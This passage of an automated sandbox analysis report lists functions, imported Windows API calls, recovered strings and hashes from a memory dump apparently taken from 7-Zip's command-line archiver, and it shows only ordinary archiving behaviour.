Opcode Fuzzy Hash: 5256221f962b44b0bae35b382dbe45db83359140e8ddd7a193f45a58e1d598c8
Instruction Fuzzy Hash: C9015E23B019C4898B31AE26D99216C6365FF95FB47691265EF3E1B759DE30CD838340

Function 00C7ECDC Relevance: 8.8, APIs: 7, Instructions: 53COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C7ED0F
free.MSVCRT ref: 00C7ED1C
free.MSVCRT ref: 00C7ED29
free.MSVCRT ref: 00C7ED59
free.MSVCRT ref: 00C7ED61
free.MSVCRT ref: 00C7ED6E
free.MSVCRT ref: 00C7ED78

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: a7c0efb318bb74a8d890d53e5fdb20e58762af4d74ce4d6a5953f08b0b6776bf
Instruction ID: b7e9b83bca8f30ff78fc26680e748fa0922475acd308779db58f028506d974dd
Opcode Fuzzy Hash: a7c0efb318bb74a8d890d53e5fdb20e58762af4d74ce4d6a5953f08b0b6776bf
Instruction Fuzzy Hash: 02112D2374298085CA20AF36D85266D2360FF87FF4F589271AF6D5B7A9CE20CD86D350

Function 00C86B3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C86B7C

Part of subcall function 00C46618: FormatMessageW.KERNEL32 ref: 00C46676
Part of subcall function 00C46618: LocalFree.KERNEL32 ref: 00C46698

Part of subcall function 00C42320: free.MSVCRT ref: 00C4237E
Part of subcall function 00C42320: fputs.MSVCRT ref: 00C423B8
Part of subcall function 00C42320: free.MSVCRT ref: 00C423C4

Part of subcall function 00C42300: fputc.MSVCRT ref: 00C42311

free.MSVCRT ref: 00C86BAE
fputs.MSVCRT ref: 00C86BCC

Strings

----------------, xrefs: 00C86BC5
: , xrefs: 00C86B75

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputsfree$FormatFreeLocalMessagefputc
String ID: : $----------------
API String ID: 1215563195-4071417161
Opcode ID: a1891ed469a183347d2f6cf8ed5e79c02ed55b8146c20c8c025d0fedb9797568
Instruction ID: 369f16661f1823b0881b3146eaf7ea4ff07407f384c5e38f221e049ffc20de6b
Opcode Fuzzy Hash: a1891ed469a183347d2f6cf8ed5e79c02ed55b8146c20c8c025d0fedb9797568
Instruction Fuzzy Hash: 5301617270090486DA20EF26E98576E7321F785BE8F549325EE6E077A4CE38D946D700

Function 00C8430C Relevance: 8.8, APIs: 7, Instructions: 40COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C8431C
free.MSVCRT ref: 00C84325
free.MSVCRT ref: 00C8432E
free.MSVCRT ref: 00C84337
free.MSVCRT ref: 00C84362
free.MSVCRT ref: 00C8436B
free.MSVCRT ref: 00C84373

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 68bdc44b06e71d8ca899e980b2fc608d9b8ec41ef539896fcf9a05c16de42b60
Instruction ID: adc6d95b19049541dc4ee89843377ff20e72497e2115a84a8a6c532208b6a294
Opcode Fuzzy Hash: 68bdc44b06e71d8ca899e980b2fc608d9b8ec41ef539896fcf9a05c16de42b60
Instruction Fuzzy Hash: 25F0EC23B1189489CB15BF36DD9216C2760BF96FF87995161BF2D5B369CE20CC839384

Function 00C8BCA4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C8BCD4

Part of subcall function 00C42320: free.MSVCRT ref: 00C4237E
Part of subcall function 00C42320: fputs.MSVCRT ref: 00C423B8
Part of subcall function 00C42320: free.MSVCRT ref: 00C423C4

fputs.MSVCRT ref: 00C8BD17

Part of subcall function 00C42300: fputc.MSVCRT ref: 00C42311

free.MSVCRT ref: 00C8BD2B

Strings

Write SFX: , xrefs: 00C8BCCD
: , xrefs: 00C8BCE9

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputsfree$fputc
String ID: : $Write SFX:
API String ID: 3584323934-2530961540
Opcode ID: 2aff07aef23fae9920ced389d97e2e1f62bb88a79c222afd3b495df10a0729ce
Instruction ID: be39f9b3d8a6407eed0436df7ae877f63e4510de63f9ed765524f2c7128c8941
Opcode Fuzzy Hash: 2aff07aef23fae9920ced389d97e2e1f62bb88a79c222afd3b495df10a0729ce
Instruction Fuzzy Hash: AD01E1A230094080EA20AF25E85575E5331FB85FF8F58D731AE6E477B9DE28C98A8714

Function 00C8BB18 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 34COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C8BB49
fputs.MSVCRT ref: 00C8BB76

Part of subcall function 00C42568: free.MSVCRT ref: 00C425B5
Part of subcall function 00C42568: free.MSVCRT ref: 00C425C0

Strings

Creating archive: , xrefs: 00C8BB3E
StdOut, xrefs: 00C8BB6C
Updating archive: , xrefs: 00C8BB34

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputsfree
String ID: Creating archive: $StdOut$Updating archive:
API String ID: 2581285248-1319951512
Opcode ID: 5f5adb3b3a84b5c65e0bca1f05b3611791ef6013b907f1f29a1bbb4614530b65
Instruction ID: ac7d0327e99e958a19aea189caf992e2fc02c28a1cce3c002c935ac464b26010
Opcode Fuzzy Hash: 5f5adb3b3a84b5c65e0bca1f05b3611791ef6013b907f1f29a1bbb4614530b65
Instruction Fuzzy Hash: 38F062A5301E4581EE04DF26D99976C6331BB45FD8F48D5329D0E0B728DF28C8998304

Function 00C4ECDC Relevance: 8.8, APIs: 7, Instructions: 21COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C4ECE9
free.MSVCRT ref: 00C4ECF2
free.MSVCRT ref: 00C4ECFB
free.MSVCRT ref: 00C4ED04
free.MSVCRT ref: 00C4ED0D
free.MSVCRT ref: 00C4ED16
free.MSVCRT ref: 00C4ED1F

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: a6ffee1f7beb7570a11c572b2a51825e1f9c21a757c731fd3d53281771c8903a
Instruction ID: a197cbd5226d04d6d821e49c2af389f5b4daf3543f48026000029421a820d897
Opcode Fuzzy Hash: a6ffee1f7beb7570a11c572b2a51825e1f9c21a757c731fd3d53281771c8903a
Instruction Fuzzy Hash: 4AE0D52261048481DB14FF76DCA312C23A4FFD5FA875420A2BF2E8B325CD20CC92A384

Function 00C53F0C Relevance: 7.7, APIs: 6, Instructions: 191COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C53F5A
free.MSVCRT ref: 00C53F62
free.MSVCRT ref: 00C53FC0
free.MSVCRT ref: 00C53FC8
free.MSVCRT ref: 00C54007
free.MSVCRT ref: 00C5400F

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 167d3dd7d05659914fe51c99b092b0523b74a4040e8688ef161580a56a1d8b48
Instruction ID: a9a4ef315015d53062c20f53dc703d3350809ba5073856263f236b98e3f8f114
Opcode Fuzzy Hash: 167d3dd7d05659914fe51c99b092b0523b74a4040e8688ef161580a56a1d8b48
Instruction Fuzzy Hash: 85815777301AC085CB14EF2AD8842AD77A1F785FD8F584222DE690BB69CF34C98AD314

Function 00C6E954 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 182COMMON

Download Yara Rule

Strings

Q, xrefs: 00C6E9E8

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID:
String ID: Q
API String ID: 0-3463352047
Opcode ID: 708d1e99ea4dbab6444f2f0d64f520fcdf94141e7dceb2e288505dbe970de39d
Instruction ID: 115ba9226b6ca31887a90cc92db81e1d22c08bb7a66dc513c33f0566c8130088
Opcode Fuzzy Hash: 708d1e99ea4dbab6444f2f0d64f520fcdf94141e7dceb2e288505dbe970de39d
Instruction Fuzzy Hash: 81618276318A8083CB20DF26E4C066EB761F7C4BA0F545212FBAA57768DF78C985DB04

Function 00C588EC Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 138COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C58930

Strings

cpus:, xrefs: 00C58A0D
act:, xrefs: 00C589E3
page:, xrefs: 00C58A30
gran:, xrefs: 00C58A7B

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID: act:$ cpus:$ gran:$ page:
API String ID: 1294909896-454015223
Opcode ID: 76ce10e08a2d6057f8ef9cd9582c59867cc4f4bd53d0f5b9092ac68896eb7e3a
Instruction ID: 15dd2826f5594f436442d0ede0edfcb275cede3f43215f8421613c6107168e16
Opcode Fuzzy Hash: 76ce10e08a2d6057f8ef9cd9582c59867cc4f4bd53d0f5b9092ac68896eb7e3a
Instruction Fuzzy Hash: B751DC6974070152DE24EB12E9523682721FB89BD1FC89232EE1B17B58DF78C5D9E344

Function 00C50160 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 123COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C501D7
_CxxThrowException.MSVCRT ref: 00C502EA

Part of subcall function 00C4FD30: _CxxThrowException.MSVCRT ref: 00C4FE50

_CxxThrowException.MSVCRT ref: 00C5031F

Strings

Empty file path, xrefs: 00C502CD
There is no second file name for rename pair:, xrefs: 00C50302

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ExceptionThrow$free
String ID: Empty file path$There is no second file name for rename pair:
API String ID: 3129652135-1725603831
Opcode ID: 5b9fd34c360db10dc0dd9c3cf23a0ee1fe89007478e2cf63242fd60c53b15542
Instruction ID: 985a2b3c9cb17422235a75726fac0363ed8dbd14247a2aba5123fd205816b978
Opcode Fuzzy Hash: 5b9fd34c360db10dc0dd9c3cf23a0ee1fe89007478e2cf63242fd60c53b15542
Instruction Fuzzy Hash: 4641D476204A84C5CA30EB19E84079E7B60F3967B8F604712DEB9477E9DB38C5CADB44

Function 00C603BC Relevance: 7.6, APIs: 5, Instructions: 108COMMON

Download Yara Rule

APIs

GetFileSecurityW.ADVAPI32 ref: 00C60415
GetLastError.KERNEL32 ref: 00C60448

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ErrorFileLastSecurity
String ID:
API String ID: 555121230-0
Opcode ID: dbe237cfadc90cb09746e3018bc91a680bb73bee37176d8e7191999cda9ad572
Instruction ID: d989a97798dcf42087a14bd4854c209f0c1c413da735adf093eb36735045f6de
Opcode Fuzzy Hash: dbe237cfadc90cb09746e3018bc91a680bb73bee37176d8e7191999cda9ad572
Instruction Fuzzy Hash: CA417C33300A9496C770CF26E8847AE73A6F784B98F694135DE5A9B714EF30C886C751

Function 00C7E580 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C7E5C5
free.MSVCRT ref: 00C7E669

Strings

#, xrefs: 00C7E677

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID: #
API String ID: 1294909896-1885708031
Opcode ID: b0f2d60c1820faef58548d21b8c4e06079b1368b0e0d09608c7fde7dbc05df21
Instruction ID: 581319f6c21a4053071061cb4d3ec74d1d803ff72120847681251f8a5800ec4a
Opcode Fuzzy Hash: b0f2d60c1820faef58548d21b8c4e06079b1368b0e0d09608c7fde7dbc05df21
Instruction Fuzzy Hash: 15318323204A9882CB60DF16998045EAB65FBD87E4F545265FFAF4B768CE38C986C700

Function 00C43CBC Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,?,FFFFFFFF,?,?,?,00C43E32), ref: 00C43D18
GetLastError.KERNEL32(?,?,?,FFFFFFFF,?,?,?,00C43E32), ref: 00C43D25
_CxxThrowException.MSVCRT ref: 00C43D4E
WideCharToMultiByte.KERNEL32(?,?,?,FFFFFFFF,?,?,?,00C43E32), ref: 00C43DC1
_CxxThrowException.MSVCRT ref: 00C43DFA

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ByteCharExceptionMultiThrowWide$ErrorLast
String ID:
API String ID: 2296236218-0
Opcode ID: a638d3b70a987569a11810fe08a21e1709710d38c6574b86da1fec5f089001b5
Instruction ID: b6b83dada62f0f50f02d93e6f202ffe2a73e9ed5d131d215e17d10c40683a161
Opcode Fuzzy Hash: a638d3b70a987569a11810fe08a21e1709710d38c6574b86da1fec5f089001b5
Instruction Fuzzy Hash: BC310D73704AC58ADB20CF25E88435EBBB5F789B94F548125DB9963B20DB38C982D701

Function 00C87080 Relevance: 7.6, APIs: 6, Instructions: 77COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C870EC
free.MSVCRT ref: 00C870F4
free.MSVCRT ref: 00C87101
free.MSVCRT ref: 00C8712E
free.MSVCRT ref: 00C87136
free.MSVCRT ref: 00C87143

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b578af894f36024e1f437a4cb75a0fc809cf4cc32df710a6eb33f0fd421a2ea5
Instruction ID: c19533375f1c43e6a068045b2b4143d9385ba693107950c29df40963e1dca219
Opcode Fuzzy Hash: b578af894f36024e1f437a4cb75a0fc809cf4cc32df710a6eb33f0fd421a2ea5
Instruction Fuzzy Hash: B2212A67706A8485CB25AF25D85132D6360FB85FA8F694321DF3D1BB98DF35C9428314

Function 00C46778 Relevance: 7.6, APIs: 5, Instructions: 74filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00C467D5
CreateFileW.KERNEL32 ref: 00C46831
free.MSVCRT ref: 00C4683F
SetFileTime.KERNEL32 ref: 00C46856
CloseHandle.KERNEL32 ref: 00C46864

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: File$Create$CloseHandleTimefree
String ID:
API String ID: 234454789-0
Opcode ID: 2c2437ba34a7087855f8770e7a2108f964c72db211cbb1ecc9a6ff53a80baa42
Instruction ID: d6b426275a99fb6aa9e89d3c02c6b5a6f73de4e5f2e042407ce2a0c5136ca910
Opcode Fuzzy Hash: 2c2437ba34a7087855f8770e7a2108f964c72db211cbb1ecc9a6ff53a80baa42
Instruction Fuzzy Hash: 9721C33220468086E6209F16F954B5E6721F386BF8F544325EE7943BE8CF39C98AD701

Function 00C6BF88 Relevance: 7.6, APIs: 6, Instructions: 70COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00C6BFB3
memcmp.MSVCRT ref: 00C6BFD1
memcmp.MSVCRT ref: 00C6BFE7

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 1ace886e5cc3e700f187fce602ca08dcd48d7174a31f1a447d5d23bb38321506
Instruction ID: c58ce27445307bf79f7e5cd2880a73f87beff542c2800960befcaa65e9112b16
Opcode Fuzzy Hash: 1ace886e5cc3e700f187fce602ca08dcd48d7174a31f1a447d5d23bb38321506
Instruction Fuzzy Hash: DD11B1B1305740D1EB14AF679DD93B923259B09FD4FC58521CE0687346EF78CA46E345

Function 00C68290 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00C4B544: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,Path64,00C682CA), ref: 00C4B56F

Part of subcall function 00C4B45C: RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,80000001), ref: 00C4B4AA
Part of subcall function 00C4B45C: RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,80000001), ref: 00C4B4F8

free.MSVCRT(?,?,?,?,?,?,?,?,00000001,?,00C684EC), ref: 00C68343

Part of subcall function 00C43404: free.MSVCRT ref: 00C43431
Part of subcall function 00C43404: memmove.MSVCRT ref: 00C4344C

Part of subcall function 00C48624: free.MSVCRT(?,?,?,?,?,?,00C4FF0B), ref: 00C486A9

free.MSVCRT(?,?,?,?,?,?,?,?,00000001,?,00C684EC), ref: 00C6832B
free.MSVCRT(?,?,?,?,?,?,?,?,00000001,?,00C684EC), ref: 00C68336

Strings

Software\7-zip, xrefs: 00C682B7
7z.dll, xrefs: 00C68307

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$QueryValue$Openmemmove
String ID: 7z.dll$Software\7-zip
API String ID: 2771487249-1558686312
Opcode ID: 232e922c7f0ce51f826d985996c137ff839169f93ea0f5e4105b3c8395333e57
Instruction ID: 0f8ba722c6d2380d5ac3bad2c9a22991f970d9a1f11b9eefaf6759f83ba754bd
Opcode Fuzzy Hash: 232e922c7f0ce51f826d985996c137ff839169f93ea0f5e4105b3c8395333e57
Instruction Fuzzy Hash: FF11775134498050CA20EB11D5553DE6760FFD5BE4F842321BE5D47766DF28CA4AD700

Function 00C8225C Relevance: 7.6, APIs: 5, Instructions: 52COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C82281
fputs.MSVCRT ref: 00C822B7
free.MSVCRT ref: 00C822C3
fputs.MSVCRT ref: 00C822D9
fputs.MSVCRT ref: 00C82303

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs$free
String ID:
API String ID: 3873070119-0
Opcode ID: 195860d1492bba094a57b9ecf7c7289ce8bcd6229381cd4e357f1d334659de32
Instruction ID: ccf6e9b54dda11ec8c1e27bfeb72e55662945f3b10235117682f0e8c73d690af
Opcode Fuzzy Hash: 195860d1492bba094a57b9ecf7c7289ce8bcd6229381cd4e357f1d334659de32
Instruction Fuzzy Hash: CA11307331498592DB20EF26E84575E6330F795BA8F409321EFAE43AB4DF28D945C744

Function 00C46C84 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32 ref: 00C46CA8
GetLastError.KERNEL32 ref: 00C46CB6
CreateDirectoryW.KERNEL32 ref: 00C46CF1
free.MSVCRT ref: 00C46D01
free.MSVCRT ref: 00C46D0F

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: CreateDirectoryfree$ErrorLast
String ID:
API String ID: 3252411863-0
Opcode ID: fc7c84208e05cc916470f72eeea78ecee52ed3ec44cc2f5207f8f15f03265912
Instruction ID: 08d4c3c097869e36fe0fb45e7bfe50091cd35acea2d712d803a0c8c3e9aef978
Opcode Fuzzy Hash: fc7c84208e05cc916470f72eeea78ecee52ed3ec44cc2f5207f8f15f03265912
